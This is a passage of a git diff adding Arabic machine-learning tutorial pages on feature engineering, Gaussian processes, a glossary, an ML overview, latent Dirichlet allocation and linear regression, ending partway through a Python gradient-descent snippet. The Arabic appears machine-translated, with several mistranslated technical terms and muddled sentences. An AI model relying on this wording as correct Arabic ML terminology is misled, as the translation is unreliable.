+*   خلاف ذلك ميزة غير ذي صلة
+
+حسنا ، ليس دائما. يعتمد ذلك على كمية البيانات المتوفرة لديك وقوة الإشارات المتنافسة. يمكنك مساعدة خوارزمية "التركيز" على ما هو مهم من خلال تسليط الضوء عليه مسبقًا.
+
+*   متغير المؤشر من العتبات: لنفترض أنك تدرس تفضيلات الكحول من قِبل المستهلكين في الولايات المتحدة وأن مجموعة البيانات تحتوي على ميزة عمرية. يمكنك إنشاء متغير مؤشر لعمر> 21 = لتمييز الأشخاص الذين تجاوزوا سن الشرب القانونية.
+*   متغير المؤشر من ميزات متعددة: أنت تتوقع أسعار العقارات ولديك ميزات n _غرف نوم_ وحمامات. إذا كانت المنازل التي تحتوي على سريرين وحمامين تحكم قسطًا كخصائص تأجير ، فيمكنك إنشاء متغير مؤشر للإبلاغ عنها.
+*   متغير المؤشر للأحداث الخاصة: أنت تُعد مبيعات أسبوعية لموقع تجارة إلكترونية. يمكنك إنشاء متغيرين للمؤشرات لأسابيع الجمعة الأسود وعيد الميلاد.
+*   متغير المؤشر لمجموعات الفئات: أنت بصدد تحليل تحويلات موقع الويب وتحتوي مجموعة البيانات على _مصدر_ الزيارات الفصلية _للمحتوى. يمكنك إنشاء متغير مؤشر_ للحركة _المدفوعة عن_ طريق الإبلاغ عن الملاحظات باستخدام قيم مصدر الزيارات "لإعلانات Facebook" أو "Google Adwords".
+
+## ميزات التفاعل
+
+يتضمن النوع التالي من هندسة الميزات إبراز التفاعلات بين ميزتين أو أكثر.
+
+هل سبق لك أن سمعت عبارة "المبلغ أكبر من الأجزاء؟" حسنا ، يمكن الجمع بين بعض الميزات لتوفير المزيد من المعلومات أكثر من الأفراد.
+
+على وجه التحديد ، ابحث عن فرص للحصول على مجموع أو اختلاف أو منتج أو حاصل على ميزات متعددة.
+
+\* ملاحظة: لا نوصي باستخدام حلقة تلقائية لإنشاء تفاعلات لجميع ميزاتك. هذا يؤدي إلى "انفجار ميزة".
+
+*   مجموع ميزتين: لنفترض أنك ترغب في توقع الإيرادات استنادًا إلى بيانات المبيعات الأولية. لديك ميزات مبيعات الأقلام _الزرقاء_ والأقلام المبيعات _السوداء_ . يمكنك جمع هذه الميزات إذا كنت تهتم فقط بـ sales\_pens الإجمالي.
+*   الفرق بين اثنين من الميزات: لديك ميزات منزل تاريخ _البناء_ وتاريخ _شراء_ منزل. يمكنك أن تأخذ الفرق بينهما لإنشاء _عمر_ المنزل ميزة at\_purchase.
+*   منتج من ميزتين: تقوم بتشغيل اختبار التسعير ، ويكون لديك سعر الميزة وتحويل متغير المؤشر. يمكنك أن تأخذ منتجهم لإنشاء أرباح الميزة.
+*   حاصل على ميزتين: لديك مجموعة بيانات من الحملات التسويقية تتضمن الميزات n _النقرات وعدد_ مرات الظهور. يمكنك تقسيم النقرات الانطباعات لخلق نسبة النقر _إلى_ الظهور، مما يسمح لك لمقارنة عبر حملات حجم مختلف.
+
+#### معلومات اكثر:
+
+*   [استكشاف الورق "هندسة الميزة لتصنيف النص"](https://pdfs.semanticscholar.org/6e51/8946c59c8c5d005054af319783b3eba128a9.pdf)
+*   [مقال "اكتشف ميزة الهندسة ، وكيفية ميزات المهندس وكيفية الحصول على جيد في ذلك"](https://machinelearningmastery.com/discover-feature-engineering-how-to-engineer-features-and-how-to-get-good-at-it/)
+*   [دليل شامل لتحليل البيانات](https://www.analyticsvidhya.com/blog/2016/01/guide-data-exploration/)
+*   [تحويلات البيانات](https://onlinecourses.science.psu.edu/stat501/node/318)
+*   [هندسة الميزات في علم البيانات](https://docs.microsoft.com/en-us/azure/machine-learning/team-data-science-process/create-features)
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/gaussian-process/index.md b/client/src/guide/arabic/machine-learning/gaussian-process/index.md
new file mode 100644
index 0000000000..b7464eff36
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/gaussian-process/index.md
@@ -0,0 +1,13 @@
+---
+title: Gaussian Process
+localeTitle: عملية غوسية
+---
+## عملية غوسية
+
+في نظرية الاحتمالات والإحصاء ، تعتبر عملية الغوسية نوعًا معينًا من النماذج الإحصائية حيث تحدث المشاهدات في مجال مستمر ، مثل الوقت أو الفضاء. في عملية غوسية ، ترتبط كل نقطة في بعض مساحات الإدخال المستمرة بمتغير عشوائي عشوائي. علاوة على ذلك ، كل مجموعة منتهية من تلك المتغيرات العشوائية لها توزيع طبيعي متعدد المتغيرات ، أي أن كل توليفة خطية منتهية منها يتم توزيعها بشكل طبيعي. توزيع عملية غوسية هو التوزيع المشترك لكل هذه المتغيرات العشوائية (التي لا حصر لها) ، وعلى هذا النحو ، يتم توزيعها على وظائف ذات مجال مستمر ، مثل الوقت أو الفضاء.
+
+نظرًا لكونها خوارزمية تعلم الآلة ، تستخدم عملية غوسية التعلم البطيء وقياس التشابه بين النقاط (وظيفة النواة) للتنبؤ بقيمة نقطة غير مرئية من بيانات التدريب. لا يمثل التوقع مجرد تقدير لهذه النقطة ، ولكنه يحتوي أيضًا على معلومات حول عدم التيقن - إنه توزيع غوسي أحادي البعد (وهو التوزيع الهامشي عند هذه النقطة).
+
+#### معلومات اكثر:
+
+*   [Gaussian العمليات لالدمى](http://katbailey.github.io/post/gaussian-processes-for-dummies/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/glossary/index.md b/client/src/guide/arabic/machine-learning/glossary/index.md
new file mode 100644
index 0000000000..2d66ed5ce8
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/glossary/index.md
@@ -0,0 +1,40 @@
+---
+title: Glossary
+localeTitle: المعجم
+---
+## المعجم
+
+جمل واحد أو جملتين سريعتين تصفان العبارات الشائعة. انظر صفحات فردية ل المزيد من التفاصيل.
+
+*   **تعلم الآلة** - تقاطع الإحصاءات وعلم الحاسوب في من أجل تعليم أجهزة الكمبيوتر لأداء المهام دون مبرمجة صراحة.
+*   **التعليم العميق** - مصطلح شامل لأساليب التعلم الآلي استنادًا إلى تمثيلات بيانات التعلم في مقابل الخوارزميات المستندة إلى الوفاء بمهمة معينة. ويشمل ذلك معماريات مثل الشبكات العصبية العميقة ، وشبكات الاعتقاد العميقة والشبكات العصبية المتكررة.
+*   **Neuroevolution** - **Neuroevolution** - مصطلح شامل لأساليب التعلم الآلي القائمة على توليد الشبكات العصبية من خلال الوزن ، والتحيز ، والهندسة المعمارية من خلال الطفرات العشوائية للشبكة. الأشكال الأكثر شيوعًا لتطور الأعصاب هي Neuroevolution of Augmenting Topologies ( [NEAT](https://en.wikipedia.org/wiki/Neuroevolution_of_augmenting_topologies) ) والتطور العصبي المُتفاعل ( [ICONE](http://ikw.uni-osnabrueck.de/~neurokybernetik/media/pdf/2012-1.pdf) ).
+*   **التعلم الإحصائي** - استخدام التعلم الآلي بهدف الاستدلال الإحصائي ، حيث تقوم باستنتاجات البيانات بدلاً من التركيز على دقة التنبؤ
+*   **التعلم تحت الإشراف** - استخدام البيانات التاريخية للتنبؤ بالمستقبل. مثال: استخدام البيانات التاريخية للأسعار التي تم بيع المنازل بها للتنبؤ بالسعر الذي سيباع به منزلك. يخضع الانحدار والتصنيف للتعلم تحت الإشراف.
+*   **التعلم دون إشراف** - العثور على أنماط في البيانات غير المسماة. مثال: تجميع العملاء عن طريق شراء السلوك. التجميع يأتي تحت التعلم دون إشراف.
+*   **تعزيز التعلم** - استخدام بيئة محاكاة أو حقيقية يتم فيها إدخال خوارزمية تعلم الآلة ومكافآت متفرقة لبناء نموذج للتنبؤ بالأفعال. وقد استخدم التعلم التعزيز [لتدريب الروبوتات الافتراضية لتحقيق التوازن بين أنفسهم](https://blog.openai.com/competitive-self-play/) [وللتغلب على الألعاب المصممة للإنسان](https://blog.openai.com/openai-baselines-dqn/) .
+*   **الانحدار** - أسلوب تعلم آلي يستخدم للتنبؤ بالقيم المستمرة. الخطي الانحدار هو واحد من خوارزمية الانحدار الأكثر شعبية.
+*   **التصنيف** - هو أسلوب تعلم آلي يستخدم للتنبؤ بالقيم المنفصلة. الانحدار اللوجستي هو واحد من أكثر خوارزميات التصنيف شيوعًا.
+*   **تعلم** قواعد القاعدة - طريقة التعلم الآلي المستندة إلى القواعد لاكتشاف العلاقات المثيرة بين المتغيرات في قواعد البيانات الكبيرة.
+
+ `f: x -> y 
+ 
+ Here 'f' is a function that takes 'x' as input and produces 'y' as output. 
+ 
+ If the output value 'y' is a real number / continous value then the function 
+ is a regression technique. 
+ 
+ If the output value 'y' is a discrete / categorical value then the function is a classification technique. 
+` 
+
+*   **تجميع** - تجميع البيانات غير المسماة. تحديد الأنماط باستخدام الإحصائيات.
+    
+*   **تقليل الأبعاد** - تقليل عدد المتغيرات العشوائية في البيانات للحصول على تنبؤات أكثر دقة.
+    
+*   **الغابات العشوائية** - تعتبر الغابات العشوائية أو غابات القرار العشوائي طريقة تعلم جماعية للتصنيف والتراجع والمهام الأخرى ، والتي تعمل من خلال بناء العديد من أشجار القرار في وقت التدريب وإخراج الطبقة التي هي طريقة الطبقات أو متوسط ​​التنبؤ أشجار فردية. - **شبكات بايزي** - شبكة بايزي هي نموذج بياني احتمالي يربط مجموعة من المتغيرات العشوائية باستقلاليتها المشروطة عن طريق رسم بياني دوري مرسوم (DAG). بطريقة بسيطة ترتبط المتغير العشوائي باستقلاليتها الشرطية للتنبؤ بالحدث. تلعب دورًا حاسمًا في علاقة القرائن. - **المفاضلة بين التحيز والتغيير** - يعتبر التحيز مفيدًا لأنه يساعدنا على تحديد متوسط ​​الفرق في القيم المتوقعة والقيم الفعلية ، بينما يساعدنا الاختلاف في تحديد كيف تختلف التقديرات المختلفة على نفس مجموعة البيانات عن بعضها البعض. إذا زاد التحيز ، عندئذ يكون للنموذج خطأ كبير في التنبؤات ، مما يجعل النموذج أقل من الواقع. يؤدي التباين العالي إلى جعل نموذج النموذج زائداً لأن النموذج يدرب نفسه باستمرار في مجموعة البيانات المعطاة فقط وينفذ بشكل سيئ على البيانات التي لم يرها بعد. إن إيجاد توازن بين الانحياز والتحيز هو مفتاح صنع نموذج جيد.
+    
+
+### معلومات اكثر:
+
+*   [مسرد المصطلحات - الروبوتات](http://robotics.stanford.edu/~ronnyk/glossary.html)
+*   [مسرد المصطلحات - تعلم الآلة والإحصاءات وعلوم البيانات](https://www.analyticsvidhya.com/glossary-of-common-statistics-and-machine-learning-terms/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/index.md b/client/src/guide/arabic/machine-learning/index.md
new file mode 100644
index 0000000000..c814366d75
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/index.md
@@ -0,0 +1,60 @@
+---
+title: Machine Learning
+localeTitle: تعلم الآلة
+---
+## تعلم الآلة
+
+وقد حدد آرثر صامويل ، وهو رائد في مجال الذكاء الاصطناعي ، "تعلم الآلة" في عام 1959 بأنه "مجال الدراسة الذي يمنح أجهزة الكمبيوتر القدرة على التعلم دون مبرمج صريح".
+
+يقدم البروفيسور توم ميتشل من جامعة CMU تعريفًا أكثر رسمية لتعليم الآلة.
+
+> "يقال إن برنامج الكمبيوتر يتعلم من التجربة E فيما يتعلق بفئة معينة من المهام T وقياس الأداء P إذا كان أداءه في المهام في T ، كما تم قياسه بواسطة P ، يتحسن مع الخبرة E."
+
+فكر في مثال خوارزمية تعلم الآلة التي تلعب الشطرنج. في هذا المثال ، يشير `E` إلى تجربة لعب الشطرنج ، `T` هي مهمة لعب الشطرنج ، ويشير `P` إلى احتمال أن البرنامج سيفوز في لعبة الشطرنج التالية.
+
+التعلم الآلي هو بالضبط مثل كيف يتعلم الإنسان. على سبيل المثال ، إذا أراد الإنسان تعلم كيفية لعب البوكر ، فسيتعلم القواعد أولاً. ثم سيحاول الحصول على الخبرة من خلال لعب اللعبة. هذه التجربة ليست سوى مجموعة بيانات ضخمة لآلة باستخدامها تستطيع اتخاذ قرارات ذكية تعيد النظر في المشكلة المقترحة.
+
+بشكل عام ، يمكن تصنيف مشاكل التعلم الآلي إلى تعلم تحت إشراف ، وتعلم غير خاضع للإشراف. في التعلم تحت الإشراف ، لديك الإدخال والإخراج المسمى ، وتشك في وجود علاقة بين المدخلات والمخرجات المسمى. عندما لا تعرف ما هو الإخراج المسمى أو إذا كانت هناك علاقة ، فإن التعلم غير الخاضع للرقابة سيساعدك في العثور على بنية في بياناتك إذا كانت موجودة.
+
+لقد قمنا بتغطية فئتين رئيسيتين من التعلم الآلي ، ولكن هناك أربع فئات واسعة من التعلم الآلي:
+
+1.  التعلم تحت الإشراف
+2.  تعليم غير مشرف عليه
+3.  التعلم شبه المشروط
+4.  تعزيز التعلم
+
+### التعلم تحت الإشراف
+
+التعلم تحت الإشراف هو مهمة التعلم الآلي من استنتاج وظيفة من بيانات التدريب تحت الإشراف. التدريب تتكون البيانات من مجموعة من الأمثلة التدريبية. في التعلم تحت الإشراف ، كل مثال هو زوج يتكون من كائن إدخال (عادة متجه) وقيمة خرج مرغوبة (تسمى أيضًا بالإشارة الإشرافية). علاوة على ذلك ، يمكن أخذ التعلم تحت الإشراف كنموذجين وتصنيف وتراجع.
+
+#### مخطط انسيابي أساسي / خطوات للتعلم تحت الإشراف
+
+1.  جمع مجموعة التدريب.
+2.  تقسيم مجموعة التدريب إلى كائن مدخلات (ميزات) وجسم الإخراج (فئات أو قيمة)
+3.  قرر ما ستقوم بتطبيقه أو الانحدار أو التصنيف
+4.  تقرر أي خوارزمية سوف تقوم بتطبيق ، SVM ، شبكة عميقة ، وما إلى ذلك
+5.  تشغيل الخوارزمية على مجموعة التدريب واستخدام نموذج للتنبؤات
+
+#### الدورات:
+
+1.  [مقدمة لتعلم الآلة](https://www.udacity.com/course/intro-to-machine-learning--ud120?autoenroll=true)
+2.  [التعلم الآلي - تدرس من قبل: أندرو نغ](https://www.coursera.org/learn/machine-learning)
+3.  [علوم البيانات والتعلم الآلي مع بايثون - الأيدي!](https://www.udemy.com/data-science-and-machine-learning-with-python-hands-on/)
+4.  [تعلم الآلة](http://ciml.info/)
+5.  [The Analytics Edge - يدرس من قبل: MIT](https://www.edx.org/course/the-analytics-edge)
+
+#### موارد الفيديو:
+
+1.  [قناة سراج رافال على يوتيوب](https://www.youtube.com/channel/UCWN3xxRkmTPmbKwht9FuE5A)
+2.  [قناة يوتيوب Sentdex ل](https://www.youtube.com/channel/UCfzlCWGWYyIQ0aLC5w48gBQ)
+
+#### معلومات اكثر:
+
+1.  [تعلم الآلة على ويكيبيديا](https://en.wikipedia.org/wiki/Machine_learning)
+2.  [التعلم الآلي الغامض: يوتيوب](https://www.youtube.com/watch?v=83uAOzhzs-U)
+3.  إذا كنت تريد مقدمة مختصرة عن التعلم الآلي ، وكنت تفضل مقاطع الفيديو ، فجرّب [فيديو مقدمة التعلم الآلي](https://youtu.be/cKxRvEZd3Mw) هذا
+4.  إذا كنت تريد معرفة كيفية المضي قدمًا في تعلم تعلم الآلة ، فقم بإلقاء نظرة على هذا [الفيديو](https://youtu.be/nKW8Ndu7Mjw)
+
+## مختبر
+
+[بناء التطبيقات الذكية مع استوديو التعلم آلة أزور](https://github.com/Microsoft/computerscience/blob/master/Labs/AI%20and%20Machine%20Learning/Azure%20Machine%20Learning/Azure%20Machine%20Learning%20(Node).md)
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/latent-dirichlet-allocation/index.md b/client/src/guide/arabic/machine-learning/latent-dirichlet-allocation/index.md
new file mode 100644
index 0000000000..0ab48e6178
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/latent-dirichlet-allocation/index.md
@@ -0,0 +1,66 @@
+---
+title: Latent Dirichlet Allocation
+localeTitle: تخصيص ديريتشليت الكامنة
+---
+في معالجة اللغات الطبيعية ، يعد تخصيص Dirichlet الكامن (LDA) نموذجًا إحصائيًا مبدئيًا يسمح بتفسير مجموعات من الملاحظات بواسطة مجموعات غير مرئية تفسر سبب تشابه بعض أجزاء البيانات. على سبيل المثال ، إذا كانت الملاحظات عبارة عن كلمات مجمعة في مستندات ، فإنها تفترض أن كل مستند عبارة عن خليط من عدد صغير من الموضوعات وأن كل كلمة يتم إنشاؤها تنسب إلى أحد مواضيع الوثيقة. LDA هو مثال على نموذج الموضوع.
+
+لنفترض أن لديك مجموعة من الجمل التالية:
+
+أكلت الموز والسبانخ عصير على الافطار أحب أكل البروكلي والموز. Chinchillas والقطط لطيف. اعتمدت أختي هريرة أمس. نظرة على هذا الهامستر لطيف مضغ على قطعة من البروكلي.
+
+تخصيص Latent Dirichlet هو طريقة لاكتشاف الموضوعات التي تحتويها هذه الجمل تلقائيًا. على سبيل المثال ، إذا نظرنا إلى هذه الجمل وسألناها عن موضوعين ، فقد ينتج LDA شيئًا من هذا القبيل
+
+الجملتان 1 و 2: 100٪ Topic A الجملتان 3 و 4: 100٪ موضوع B الجملة 5: 60٪ الموضوع أ ، 40٪ الموضوع ب الموضوع A: 30 ٪ من البروكلي ، الموز 15 ٪ ، 10 ٪ وجبة الإفطار ، 10 ٪ مضغ ، ... (عند هذه النقطة ، يمكنك تفسير الموضوع A ليكون عن الطعام) الموضوع B: 20٪ chinchillas ، 20٪ من القطط ، 20٪ لطيف ، 15٪ هامستر ، ... (عند هذه النقطة ، يمكنك تفسير الموضوع B ليكون عن الحيوانات اللطيفة)
+
+السؤال ، بالطبع ، هو: كيف تقوم LDA بهذا الاكتشاف؟
+
+نموذج LDA
+
+بمزيد من التفصيل ، تمثل LDA المستندات كمخلوقات من الموضوعات التي تبصق الكلمات مع بعض الاحتمالات. يفترض أن يتم إنتاج المستندات بالطريقة التالية: عند كتابة كل مستند ، أنت
+
+حدد عدد الكلمات N سيكون المستند (مثلاً ، حسب توزيع Poisson). اختر خليط موضوع للمستند (وفقًا لتوزيع Dirichlet على مجموعة ثابتة من موضوعات K). على سبيل المثال ، بافتراض أن لدينا موضوعين غذائيين للحيوانات والطيور أعلاه ، يمكنك اختيار الوثيقة بحيث تتكون من 1/3 طعام و 2/3 حيوانات لطيفة. قم بتوليد كل كلمة في الوثيقة من خلال: ... اختيار أول موضوع (وفقا لتوزيع متعدد الحدود التي قمت باختبارها أعلاه ؛ على سبيل المثال ، قد تختار موضوع الغذاء مع احتمال 1/3 وموضوع الحيوانات لطيف مع احتمال 2/3). ... ثم استخدام الموضوع لتوليد الكلمة نفسها (وفقا لتوزيع الموضوع متعدد الحدود). على سبيل المثال ، قد يخرج موضوع الطعام كلمة "بروكلي" مع احتمال 30 ٪ ، "الموز" مع احتمال 15 ٪ ، وهلم جرا.
+
+بافتراض أن هذا النموذج المولِّد لمجموعة من المستندات ، يحاول LDA الرجوع عن الوثائق للعثور على مجموعة من الموضوعات التي من المحتمل أن تكون قد ولَّدت المجموعة.
+
+مثال
+
+دعونا نجعل مثالا. وفقًا للعملية المذكورة أعلاه ، عند إنشاء مستند معين D ، يمكنك ذلك
+
+تقرر أن D سيكون 1/2 حول الغذاء و 1/2 حول الحيوانات لطيف. اختر 5 ليكون عدد الكلمات في D. اختر الكلمة الأولى التي تأتي من موضوع الطعام ، والتي تعطيك كلمة "بروكلي". اختر الكلمة الثانية القادمة من موضوع الحيوانات لطيف ، والتي تمنحك "الباندا". اختيار الكلمة الثالثة قادمة من موضوع الحيوانات لطيف ، مما يتيح لك "رائعتين". اختيار الكلمة الرابعة قادمة من موضوع الغذاء ، مما يتيح لك "الكرز". اختر الكلمة الخامسة التي تأتي من موضوع الطعام ، مما يمنحك "الأكل".
+
+وبالتالي فإن الوثيقة التي تم إنشاؤها في إطار نموذج LDA ستكون "البروكلي الباندا رائعتين أكل الكرز" (لاحظ أن LDA هو نموذج حقيبة الكلمات).
+
+تعلم
+
+افترض الآن أن لديك مجموعة من المستندات. لقد اخترت عددًا ثابتًا من مواضيع K التي تريد اكتشافها ، وتريد استخدام LDA لتعلم تمثيل الموضوع لكل وثيقة والكلمات المرتبطة بكل موضوع. كيف تفعل هذا؟ إحدى الطرق (المعروفة باسم أخذ عينات Gibbs المنهارة \*) هي كالتالي:
+
+راجع كل مستند ، وقم بتعيين كل كلمة في المستند عشوائياً إلى أحد مواضيع K. لاحظ أن هذا التعيين العشوائي يعطيك بالفعل تمثيليْن موضوعيْن لجميع الوثائق وتوزيع الكلمات لكل المواضيع (وإن لم يكن ذلك جيدًا). لذلك لتحسينها ، لكل وثيقة د ... ... من خلال كل كلمة ث في د ... ........ لكل موضوع t ، يحسب أمرين: 1) p (الموضوع t | المستند d) = نسبة الكلمات في الوثيقة d التي يتم تعيينها حاليًا لموضوع t ، و 2) p (الكلمة w | topic t ) = نسبة التخصيصات لموضوع ر على جميع الوثائق التي تأتي من هذه الكلمة ث. إعادة تعيين موضوع جديد ، حيث تختار الموضوع t مع الاحتمالية p (الموضوع t | المستند d) \* p (الكلمة w | topic t) (وفقًا لنموذجنا المولِّد ، هذا هو أساسًا احتمال أن الموضوع t يولد الكلمة w ، لذلك من المنطقي أن نعيد صياغة موضوع الكلمة الحالية بهذا الاحتمال). (أيضًا ، أقوم بتوضيح أكثر من شيئين هنا ، مثل استخدام priors / pseudocounts في هذه الاحتمالات). ... وبعبارة أخرى ، في هذه الخطوة ، نفترض أن جميع تخصيصات الموضوع باستثناء الكلمة الحالية المعنية صحيحة ، ثم تحديث تخصيص الكلمة الحالية باستخدام نموذجنا لكيفية إنشاء المستندات. بعد تكرار الخطوة السابقة لعدد كبير من المرات ، ستصل في النهاية إلى حالة مستقرة تقريبًا حيث تكون مهامك جيدة جدًا. لذا استخدم هذه التعيينات لتقدير مخاليط الموضوع لكل وثيقة (عن طريق حساب نسبة الكلمات المخصصة لكل موضوع ضمن تلك الوثيقة) والكلمات المرتبطة بكل موضوع (عن طريق حساب نسبة الكلمات المخصصة لكل موضوع بشكل عام).
+
+شرح ليمان
+
+في حال كان النقاش أعلاه قليل من التزجيج ، فإليك طريقة أخرى للنظر إلى LDA في نطاق مختلف.
+
+لنفترض أنك انتقلت للتو إلى مدينة جديدة. كنت محبًا ومروحة أنمي ، لذلك تريد أن تعرف إلى أين تميل محبو موسيقى الجاز الأخرى وأنمي المهوسون للتسكع. بالطبع ، كمحبون ، أنت تعرف أنك لا تستطيع أن تسأل ، فماذا تفعل؟
+
+هذا هو السيناريو: أنت تتوسع في مجموعة من المؤسسات المختلفة (الوثائق) في جميع أنحاء المدينة ، تدوّن الناس (الكلمات) المتدلية في كل منها (على سبيل المثال ، علقت أليس في المركز التجاري وفي الحديقة ، توقف بوب في المسرح والسينما ، وما إلى ذلك). بشكل حاسم ، أنت لا تعرف مجموعات المصالح النموذجية (المواضيع) لكل مؤسسة ، ولا تعرف المصالح المختلفة لكل شخص.
+
+لذلك اخترت بعض K من الفئات لتتعلم (أي تريد أن تتعلم K الأكثر أهمية من الفئات التي يسقطها الناس) ، وابدأ بتخمين سبب رؤيتك للأشخاص أينما تفعل. على سبيل المثال ، تخمن في البداية أن أليس في المركز التجاري لأن الأشخاص الذين لديهم اهتمامات في X يحبون أن يجتمعوا هناك ؛ عندما تراها في المتنزه ، عليك أن تخبرها لأن أصدقاءها الذين لديهم اهتمامات في Y يحبون التسكع هناك ؛ عندما ترى بوب في دار السينما ، فإنك تخمن بشكل عشوائي لأن الناس في هذه المدينة يحبون مشاهدة الأفلام. وما إلى ذلك وهلم جرا.
+
+بالطبع ، من المحتمل جدًا أن تكون تخميناتك غير صحيحة (تخمينات عشوائية ، بعد كل شيء!) ، لذلك تريد تحسينها. إحدى الطرق للقيام بذلك هي:
+
+اختيار مكان وشخص (على سبيل المثال ، أليس في المركز التجاري). لماذا من المرجح أن تكون أليس في المركز التجاري؟ ربما لأن الآخرين في المركز التجاري الذين لديهم نفس الاهتمامات أرسلوا لها رسالة تطلب منها الحضور. بعبارة أخرى ، كلما زاد عدد الأشخاص الذين لديهم اهتمامات في X في المركز التجاري وترتبط "أليس" الأقوى بالفائدة "س" (في جميع الأماكن الأخرى التي تذهب إليها) ، كلما زاد احتمال أن تكون أليس في المركز التجاري بسبب الاهتمام X. لذا ، احرص على تخمين سبب وجود أليس في المركز التجاري ، مع اختيار اهتمامك ببعض الاحتمالات وفقًا لمدى الاحتمال الذي تعتقده.
+
+تمر عبر كل مكان وشخص مرارا وتكرارا. تبقى تخميناتك تتحسن بشكل أفضل (بعد كل شيء ، إذا لاحظت أن الكثير من المهووسين يخرجون في متجر الكتب ، وتشك في أن أليس مغرم بها ، فإن رهانًا جيدًا على أن Alice في متجر الكتب لأن أصدقائها المهووسين أخبروا لها أن تذهب إلى هناك ؛ والآن بعد أن أصبحت لديك فكرة أفضل عن سبب وجود أليس في متجر الكتب ، يمكنك استخدام هذه المعرفة بدورها لتحسين التخمينات الخاصة بك لمعرفة سبب وجود أي شخص آخر في مكان وجوده) ، وبالتالي يمكنك التوقف تحديث. ثم أخذ لقطة (أو لقطات متعددة) من التخمينات الخاصة بك ، واستخدامها للحصول على جميع المعلومات التي تريدها:
+
+لكل فئة ، يمكنك حساب الأشخاص المعينين لهذه الفئة لمعرفة ما لديهم مصلحة خاصة. من خلال النظر إلى الأشخاص أنفسهم ، يمكنك تفسير الفئة أيضًا (على سبيل المثال ، إذا كانت الفئة X تحتوي على الكثير من الأشخاص القدامى الذين يرتدون قمصانًا وتحمل كرات السلة ، قد تفسر X بأنها مجموعة "لاعبي كرة السلة"). لكل مكان P وفئة الاهتمام C ، يمكنك حساب نسب الأشخاص في P بسبب C (ضمن المجموعة الحالية من المهام) ، وتمنحك هذه تمثيل P. على سبيل المثال ، قد تعلم أن الأشخاص الذين يتعطلون في بارنز أند نوبل تتكون من 10٪ من محبي موسيقى الجاز ، و 50٪ من عشاق الأنيمي ، و 10٪ من لاعبي الجاز ، و 30٪ من طلاب الجامعات.
+
+مثال العالم الحقيقي
+
+أخيرًا ، لنذهب إلى مثال حقيقي. تقدمت بطلب LDA إلى مجموعة من رسائل سارة بالين الإلكترونية منذ فترة قصيرة (راجع http://blog.echen.me/2011/06/27/… لمدونة مدونة ، أو http://sarah-palin.heroku.com / للتطبيق الذي يسمح لك بتصفح رسائل البريد الإلكتروني من خلال الموضوعات التي تعلمتها LDA) ، فإليك بعض الموضوعات التي تعلمتها الخوارزمية:
+
+علم حساب المثلثات / الأسرة / الهام: الأسرة ، والشبكة ، والبريد ، والله ، ابن ، من ، تهاني ، والأطفال ، والحياة ، والطفل ، أسفل ، علم حساب المثلثات ، وطفل رضيع ، ولادة ، والحب ، أنت ، متلازمة ، خاصة جدا ، خاصة ، يبارك ، القديمة ، الزوج ، سنوات ، شكرا ، أفضل ، ... الحياة البرية / BP Corrosion: لعبة ، أسماك ، موس ، الحياة البرية ، الصيد ، الدببة ، القطبية ، الدب ، الكفاف ، إدارة ، منطقة ، لوحة ، مطاردة ، ذئاب ، سيطرة ، قسم ، سنة ، إستعمال ، ذئب ، موطن ، صياد ، كاريبو ، برنامج ، دينبي ، صيد الأسماك ، ... الطاقة / الوقود / النفط / التعدين: الطاقة ، الوقود ، التكاليف ، النفط ، ألاسكا ، الأسعار ، التكلفة ، الاسمية ، الآن ، عالية ، المنزل ، العام ، الطاقة ، الألغام ، الأزمة ، الأسعار ، الموارد ، الحاجة ، المجتمع ، البنوك العادية ، الخصم ، الاستخدام ، التعدين ، القرى ، ... الغاز: الغاز ، النفط ، خطوط الأنابيب ، أغيا ، المشروع ، الطبيعي ، الشمال ، المنتجون ، الشركات ، الضرائب ، الشركة ، الطاقة ، التنمية ، المنحدر ، الإنتاج ، الموارد ، الخط ، خط الغاز ، ترانكانادا ، مليار ، خطة ، إدارة ، مليون ، الصناعة ، ... التعليم / النفايات: المدرسة ، النفايات ، التعليم ، الطلاب ، المدارس ، مليون ، القراءة ، البريد الإلكتروني ، السوق ، السياسة ، الطلاب ، السنة ، عالية ، الأخبار ، الولايات ، البرنامج ، الأول ، التقرير ، الأعمال ، الإدارة ، النشرة ، المعلومات ، التقارير ، 2008 ، الربع ، ... الحملة الرئاسية / الانتخابات: البريد ، الويب ، من ، شكرا ، أنت ، مربع ، ماكين ، سارة ، جدا ، جيد ، عظيم ، جون ، الأمل ، الرئيس ، بإخلاص ، wasilla ، العمل ، الحفاظ على ، جعل ، إضافة ، الأسرة ، الجمهوري ، دعم ، القيام ، po ، ...
+
+#### واقترح ريدينج:
+
+*   https://en.wikipedia.org/wiki/Latent _Dirichlet_ allocation
+*   http://blog.echen.me/2011/08/22/introduction-to-latent-dirichlet-allocation/
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/linear-regression/index.md b/client/src/guide/arabic/machine-learning/linear-regression/index.md
new file mode 100644
index 0000000000..e6bc8371ea
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/linear-regression/index.md
@@ -0,0 +1,64 @@
+---
+title: Linear Regression
+localeTitle: الانحدارالخطي
+---
+## الانحدارالخطي
+
+يساعدنا الانحدار الخطي في توقع درجة متغير X من الدرجات على المتغيرات الأخرى Y. عندما يتم رسم المتغيرات Y ، فإن الانحدار الخطي يجد الخط المستقيم الأفضل من خلال النقاط. يُسمى خط التركيب الأفضل خط الانحدار.
+
+[الانترنت الانحدار الخطي محاكاة](https://www.mladdict.com/linear-regression-simulator)
+
+في بايثون:
+
+ `#Price of wheat/kg and the average price of bread 
+ wheat_and_bread = [[0.5,5],[0.6,5.5],[0.8,6],[1.1,6.8],[1.4,7]] 
+ 
+ def step_gradient(b_current, m_current, points, learningRate): 
+    b_gradient = 0 
+    m_gradient = 0 
+    N = float(len(points)) 
+    for i in range(0, len(points)): 
+        x = points[i][0] 
+        y = points[i][1] 
+        b_gradient += -(2/N) * (y - ((m_current * x) + b_current)) 
+        m_gradient += -(2/N) * x * (y - ((m_current * x) + b_current)) 
+    new_b = b_current - (learningRate * b_gradient) 
+    new_m = m_current - (learningRate * m_gradient) 
+    return [new_b, new_m] 
+ 
